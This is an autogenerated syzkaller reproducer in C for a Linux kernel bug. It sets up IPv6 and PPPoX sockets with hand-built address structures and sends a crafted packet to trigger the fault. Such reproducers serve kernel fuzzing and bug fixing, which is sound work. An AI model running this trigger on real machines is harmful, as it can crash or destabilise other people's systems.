// https://syzkaller.appspot.com/bug?id=be77af8f4170f3350bed40f1b060851541287f2f // autogenerated by syzkaller (http://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; void loop() { long res; res = syscall(__NR_socket, 0xa, 2, 0); if (res != -1) r[0] = res; res = syscall(__NR_socket, 0x18, 1, 1); if (res != -1) r[1] = res; *(uint16_t*)0x205fafd2 = 0x18; *(uint32_t*)0x205fafd4 = 1; *(uint32_t*)0x205fafd8 = 0; *(uint32_t*)0x205fafdc = r[0]; *(uint16_t*)0x205fafe0 = 2; *(uint16_t*)0x205fafe2 = htobe16(0x4e21); *(uint8_t*)0x205fafe4 = 0xac; *(uint8_t*)0x205fafe5 = 0x14; *(uint8_t*)0x205fafe6 = 0; *(uint8_t*)0x205fafe7 = 0xbb; *(uint8_t*)0x205fafe8 = 0; *(uint8_t*)0x205fafe9 = 0; *(uint8_t*)0x205fafea = 0; *(uint8_t*)0x205fafeb = 0; *(uint8_t*)0x205fafec = 0; *(uint8_t*)0x205fafed = 0; *(uint8_t*)0x205fafee = 0; *(uint8_t*)0x205fafef = 0; *(uint32_t*)0x205faff0 = 4; *(uint32_t*)0x205faff4 = 0; *(uint32_t*)0x205faff8 = 2; *(uint32_t*)0x205faffc = 0; syscall(__NR_connect, r[1], 0x205fafd2, 0x2e); *(uint16_t*)0x200000c0 = 0xa; *(uint16_t*)0x200000c2 = htobe16(0x4e21); *(uint32_t*)0x200000c4 = 0x7fff; *(uint8_t*)0x200000c8 = 0; *(uint8_t*)0x200000c9 = 0; *(uint8_t*)0x200000ca = 0; *(uint8_t*)0x200000cb = 0; *(uint8_t*)0x200000cc = 0; *(uint8_t*)0x200000cd = 0; *(uint8_t*)0x200000ce = 0; *(uint8_t*)0x200000cf = 0; *(uint8_t*)0x200000d0 = 0; *(uint8_t*)0x200000d1 = 0; *(uint8_t*)0x200000d2 = -1; *(uint8_t*)0x200000d3 = -1; *(uint8_t*)0x200000d4 = 0xac; *(uint8_t*)0x200000d5 = 0x14; *(uint8_t*)0x200000d6 = 0x14; *(uint8_t*)0x200000d7 = 0xaa; *(uint32_t*)0x200000d8 = 3; syscall(__NR_connect, r[0], 0x200000c0, 0x1c); *(uint16_t*)0x200021c0 = 0x18; *(uint32_t*)0x200021c2 = 0; *(uint16_t*)0x200021c6 = 0; *(uint8_t*)0x200021c8 = 0; *(uint8_t*)0x200021c9 = 0; *(uint8_t*)0x200021ca = 0; *(uint8_t*)0x200021cb = 0; *(uint8_t*)0x200021cc = 0; *(uint8_t*)0x200021cd = 0; memcpy((void*)0x200021ce, "\x69\x66\x62\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); syscall(__NR_sendto, r[1], 0x20001180, 0, 0x40001, 0x200021c0, 0x80); *(uint32_t*)0x20000000 = 0; *(uint32_t*)0x20000004 = 0; *(uint32_t*)0x20000008 = 0; *(uint32_t*)0x2000000c = -1; *(uint32_t*)0x20000010 = 0; *(uint32_t*)0x20000014 = 0; } int main() { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); loop(); return 0; }